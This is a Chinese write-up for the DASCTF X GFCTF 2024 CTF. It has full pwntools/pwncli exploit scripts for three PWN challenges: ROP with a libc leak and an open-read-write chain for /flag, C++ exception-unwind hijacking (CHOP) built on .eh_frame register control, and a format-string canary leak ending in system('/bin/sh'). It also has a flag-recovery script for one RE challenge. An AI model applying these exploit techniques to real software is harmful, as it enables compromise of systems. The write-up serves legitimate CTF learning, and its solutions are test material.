DASCTF X GFCTF 2024|四月开启第一局

PWN

dynamic_but_static

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwncli import *

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
libc = ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

if gift.remote:
libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象
# - - - - - - - - - - - - - #
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
setbuf_got = elf.got['setbuf']
pop_rdi = 0x401381
ret = 0x40101a
leave = 0x401349
main = 0x40134B
flag_addr = 0x404200
# - - - - - - - - - - - - - #remote
libc_pop_rsi = 0x2be51
libc_pop_rdx = 0x796a2
# - - - - - - - - - - - - - #
# - - - - - - - - - - - - - #
def attack():
print('LLCC')
p1=p64(0)*7+p64(pop_rdi)+p64(setbuf_got)+p64(puts_plt)
p1+=p64(main)
s(p1)
read_addr = recv_libc_addr(io)
libc.address = read_addr - libc.sym['setbuf']
pop_rsi = libc_pop_rsi + libc.address
pop_rdx = libc_pop_rdx + libc.address
write_addr = libc.sym['write']
open_addr = libc.sym['open']
CG.set_find_area(find_in_elf=False,find_in_libc=True)


p=p64(0)*6+p64(flag_addr)
p+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x300)+p64(read_plt)+p64(leave)
sleep(0.3)
sl(p)
orw = b'/flag\x00\x00\x00'+CG.orw_chain(flag_addr,flag_addr+0x30,3,1)
sl(orw)



#log
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))
log.success('flag_addr:'+hex(flag_addr))
#log.success('heap_base:'+hex(heap_base))
if __name__ == '__main__':
attack()
io.interactive()

Control

https://xz.aliyun.com/t/12967?time__1311=mqmhqIx%2BODkKDsD7G30%3D3eAKdDvzTqvpD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12967#toc-2

Linux下的C++对应的异常处理,也就是对基于eh_frame进行unwind的异常处理流程的攻击手法的研究

异常处理时从__cxa_throw()时开始,之后进行unwind, cleanup, handler,并不会执行发生异常所在函数的剩余部分,自然也就不会执行ret,因而依靠劫持返回地址直接进行跳转的攻击方式不再有效

栈上的内容(如这里的rbp和ret地址)与异常处理的流程相关

覆盖rbp会导致crash,可以确定是在执行handler时出错

可以很容易的知道,由于这里使用leave; ret,ret的地址为[rbp+8],即这里是可以通过合理控制rbp来控制返回地址

需要让rbp为一个指针,且rbp内容恰好是我们覆盖的ret地址

异常处理本身存在一些问题,并且使得canary这样的栈保护机制无效。因为异常抛出后的代码不会执行,自然也不会检测canary,自然也不会调用stack_check_fail(). 在此基础上我们发现了一些控制程序流的方式:

  • 通过覆盖rbp,进而控制程序流走向。当然前提是栈帧的确使用rbp存储,因为一些情况下程序只依靠rsp增减。
  • 通过覆盖ret地址,使异常被另外一个handler处理
  • 在某些情况下还可以通过伪造覆盖类虚表的手法,使其在cleanup handler执行析构函数的时候劫持程序流(本文不做详细分析)

CHOP

CHOP全称Catch Handler Oriented Programming,通过扰乱unwinder来实现程序流劫持的效果。在文章中提到了一个所谓Gloden Gadget,即如下代码片段(取自stdlibc++.so)

1
2
3
4
5
6
7
8
9
10
11
12
13
void __cxa_call_unexpected (void *exc_obj_in) {
xh_terminate_handler = xh->terminateHandler;
try { /* ... */ }
catch (...) {
__terminate(xh_terminate_handler);
}
}

void __terminate (void (*handler)()) throw () {
/* ... */
handler();
std::abort();
}

在函数__cxa_call_unexpected()中的catch块,传入了xh_terminate_handler,并在__terminate()中进行调用,这意味着,如果我们将ret地址调整为__cxa_call_unexpected()的try块,同时控制局部变量xh_terminate_handler为任意地址,即可实现控制流劫持

众所周知,在最终执行catch handler时,栈帧与抛出异常时相同。因而局部变量是可控的,似乎Gloden Gadget为我们提供了一个可以任意指针调用的机会

libc版本迭代非常快,这种利用在目前较高版本是否可行呢???

事实上,在ubuntu22.04上的所谓的Gloden Gadgget调用流程变为为__cxa_call_unexpected() ==> __cxa_call_unexpected.cold() ==> __terminate()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __cxa_call_unexpected (void *exc_obj_in) {
try { /* ... */ }
catch (...) {
__cxa_call_unexpected_cold(a1)
}
}
void _cxa_call_unexpected_cold(void *a1) {
void (*v2)(void); // r12
void *retaddr; // [rsp+0h] [rbp+0h] BYREF
/*...*/
if (!check_exception_spec(&retaddr, ...)) {
if (check_exception_spec(&retaddr, ... )) {
/*...*/
_cxa_throw();
}
__terminate(v2);
}
}

void __terminate (void (*handler)()) throw () {
/* ... */
handler();
std::abort();
}

terminate执行的handler变成了寄存器r12的值,同时需要控制局部变量进入_cxa_call_unexpected_cold()中合适的分支,防止中途再次抛出异常或是直接crash掉进程。

1
2
3
mov     rdi, r12
db 67h
call __terminate ; __cxxabiv1::__terminate(void (*)(void))

局部变量还是比较好控制的,但是寄存器如何控制呢?我们已知栈溢出可以控制栈上数据,如果有方法将栈上数据与寄存器做以联系,寄存器就应该可控了。这时我们就需要利用到.eh_frame上的信息了,使用readelf -wF file,我们可以窥见其中的奥秘

.eh_frame section 主要由CFI, CIE和FDE组成。每个程序的section会包含一个或者多个CFI(Call Frame Information)。每个CFI包含一个CIE(Common Information Entry Record)记录,每个CIE包含一个或者多个FDE(Frame Description Entry)记录。

需要注意的是,.eh_frame和unwind的流程强相关,因而通过 -s 参数来去除符号表是无法去掉.eh_frame section的相关信息的

通过readelf得到的信息大致如下,可以看到寄存器可以值与CFA相关,而CFA均为栈地址。一般我们找rsp+8的条目且能控制寄存器的即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00000654 000000000000004c 000005f8 FDE cie=00000060 pc=00000000004027e0..0000000000402db0
LOC CFA rbx rbp r12 r13 r14 r15 ra
00000000004027e0 rsp+8 u u u u u u c-8
00000000004027e6 rsp+16 u u u u u c-16 c-8
00000000004027e8 rsp+24 u u u u c-24 c-16 c-8
00000000004027ea rsp+32 u u u c-32 c-24 c-16 c-8
00000000004027ec rsp+40 u u c-40 c-32 c-24 c-16 c-8
00000000004027ed rsp+48 u c-48 c-40 c-32 c-24 c-16 c-8
00000000004027ee rsp+56 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004027f5 rsp+240 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028a3 rsp+56 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028a4 rsp+48 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028a5 rsp+40 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028a7 rsp+32 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028a9 rsp+24 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028ab rsp+16 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028ad rsp+8 c-56 c-48 c-40 c-32 c-24 c-16 c-8
00000000004028b0 rsp+240 c-56 c-48 c-40 c-32 c-24 c-16 c-8

为了方便查看不同的栈偏移在局部变量的作用,我将填充内容做以区分。选择任意一个rsp+8且能设置r12寄存器条目,将ret地址覆盖为该内容,将栈内容存入寄存器,最后接上Golden Gadget的try块地址用于调用指针

为了提高调试时局部变量的辨识度,测试payload构造如下

1
2
3
4
5
6
7
8
9
10
payload = b'a'*8
payload += b'b'*8
payload += b'c'*8
payload += b'd'*8
payload += b'e'*8
payload += b'f'*8
payload += b'g'*8
payload += p64(0x004032a4+1)
payload += p64(0x402df0+1)
io.send(payload)

在调用到Gloden Gadget时,我们已经可以看到寄存器的值被更改为了栈上的内容

20231103154512-eb5a55f6-7a1c-1

然后就是一些分支的局部变量调整,经过一系列对局部变量的调整,我们终于看到了__terminate中调用的handler

20231103154526-f39f593c-7a1c-1

此时只需要将对应的值替换为后门即可,成功完成利用

这里局部变量的调试比较枯燥,直接跟着断点看看哪里crash然后更改变量为合适的值即可,不做详细阐述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
from pwncli import *

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

if gift.remote:
#libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象
# - - - - - - - - - - - - - #
gift = 0x4D3350
vuln = 0x40215C
main = 0x4021E1
bss = 0x4D3300
read_addr = elf.sym['read']
pop_rdi = 0x0000000000401c72
pop_rsi = 0x0000000000405285
pop_rdx = 0x0000000000401aff
open_addr = elf.sym['open64']
read_addr = elf.sym['read']
puts_addr = elf.sym['puts']
# - - - - - - - - - - - - - #remote

# - - - - - - - - - - - - - #
# - - - - - - - - - - - - - #
def attack():
print('LLCC')

p1= p64(vuln)+p64(read_addr)
sa("Gift> ",p1)

p2=p64(0x1)*13+p64(0x2)+p64(gift-8)

sla("How much do you know about control?",p2)

sla("How much do you know about control?",'aaaaaaaa')
#0x4d32e0
#0x4d3360
p=b'/flag'.ljust(0x20,b'\x00')+b'a'*(0x360-0x2e0-0x20)
#p=b'/home/lekc/pwn/buu/flag'.ljust(0x20,b'\x00')+b'a'*(0x360-0x2e0-0x20)
p+=p64(pop_rdi)+p64(0x4d32e0)+p64(pop_rsi)+p64(0)+p64(open_addr)
p+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
p+=p64(pop_rdi)+p64(bss+0x100)+p64(puts_addr)
pause()
sl(p)


#log
log.info('#---#---#---#---#')
#log.success('libc.address:'+hex(libc.address))
#log.success('heap_base:'+hex(heap_base))
if __name__ == '__main__':
attack()
io.interactive()

Exception

和Control一样是Linux下的C++对应的异常处理

由于最后使用leave; ret,ret的地址为[rbp+8],即这里是可以通过合理控制rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
from pwncli import *

cli_script() # 使用脚本模式必须显式调用这个函数

# 你能够从gift里面取到很多东西
io = gift['io'] # process或remote对象
elf = gift["elf"] # ELF对象,ELF("./pwn")
libc = gift.libc # ELF对象, ELF("./libc.so.6")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug

if gift.remote:
#libc = ELF("./libc.so.6")
gift['libc'] = libc
# 有时候远程提供的libc与本地不一样,打靶机时替换libc为远程libc
pass
libc_box = LibcBox() # LibcBox对象
# - - - - - - - - - - - - - #

# - - - - - - - - - - - - - #remote

# - - - - - - - - - - - - - #
# - - - - - - - - - - - - - #
def attack():
print('LLCC')

p1=b'%p,'*10
p1=b'%7$p,%8$p,%9$p,%11$p'
sla("please tell me your name",p1)
ru('\n')
canary = int(ru(',')[:-1],16)
stack = int(ru(',')[:-1],16)
elf.address = int(ru(',')[:-1],16)-0x1480
libc.address = int(ru('\n')[:-1],16)-0x24083
ru('0x')
buf_addr = int(io.recv(12),16)
CG.set_find_area(find_in_elf=True,find_in_libc=True)
#0xa8
p2=p64(canary)
p2=p2.ljust(104,b'a')
p2+=p64(canary)+p64(buf_addr+0x18)+p64(elf.sym['main']+168)+p64(0)+p64(canary)+p64(buf_addr+0x560-0x3d0)+p64(elf.sym['__libc_csu_init'])+p64(0)
p2+=p64(CG.ret())+p64(CG.pop_rdi_ret())+p64(CG.bin_sh())+p64(libc.sym['system'])
sa("How much do you know about exception?",p2)
#log
log.info('#---#---#---#---#')
log.success('libc.address:'+hex(libc.address))
log.success('elf.address:'+hex(elf.address))
log.success('canary:'+hex(canary))
log.success('stack:'+hex(stack))
log.success('buf_addr:'+hex(buf_addr))
#log.success('heap_base:'+hex(heap_base))
if __name__ == '__main__':
attack()
io.interactive()

RE

prese

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

from z3 import *
from Crypto.Util.number import *
flag = [0x86,0x83,0x91,0x81,0x96,0x84,0x089,0xa5,0xad,0xad,0xa6,0x9d,0xb6,0xaa,0xa7,0x9d,0xb0,0xa7,0x9d,0xab,0xb1,0x9d,0xa7,0xa3,0xb1,0xbb,0xaa,0xaa,0xaa,0xaa,0xbf,0]
fff=[0]*32
for i in range(31):
#v21 = ord(fff[i])
#v22 = tmp[v21]
#fff[i] = chr(v22)
pass

if __name__ == '__main__':
for len in range(0x60):
tmp = [0]*0x100
ff=[0]*32
f=''
for i in range(0x100):
tmp[i] = ((len ^ i) ^ 0xff)
for i in range(32):
d = flag[i]
for j in range(0x100):
if tmp[j] == d:
ff[i] = j
for j in range(32):
f += chr(ff[j])
print(f)
print(len)

得到

1
DASCTFKgood_the_re_is_easyhhhh}Â

改一下

1
DASCTF{good_the_re_is_easyhhhh}

ezVM